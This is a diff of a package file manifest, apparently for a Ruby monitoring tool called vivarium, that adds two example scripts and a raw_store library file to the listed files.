@@ -68,6 +69,7 @@ files:
 - examples/box_demo.rb
 - examples/dlopen_demo.rb
 - examples/drop_demo.rb
+- examples/dummy_post_demo.rb
 - examples/env_access_external_demo.rb
 - examples/env_access_ruby_demo.rb
 - examples/execve_demo.rb
@@ -75,6 +77,7 @@ files:
 - examples/network_client_demo.rb
 - examples/privilege_event_demo.rb
 - examples/raise_demo.rb
+- examples/save_raw_demo.rb
 - examples/signal_kill_demo.rb
 - examples/ssl_write_demo.rb
 - examples/sudo_attempt_demo.rb
@@ -89,6 +92,7 @@ files:
 - lib/vivarium/daemon_client.rb
 - lib/vivarium/display_filter.rb
 - lib/vivarium/http_decoder.rb
+- lib/vivarium/raw_store.rb
 - lib/vivarium/tree_renderer.rb
 - lib/vivarium/version.rb
 - logo-simple.png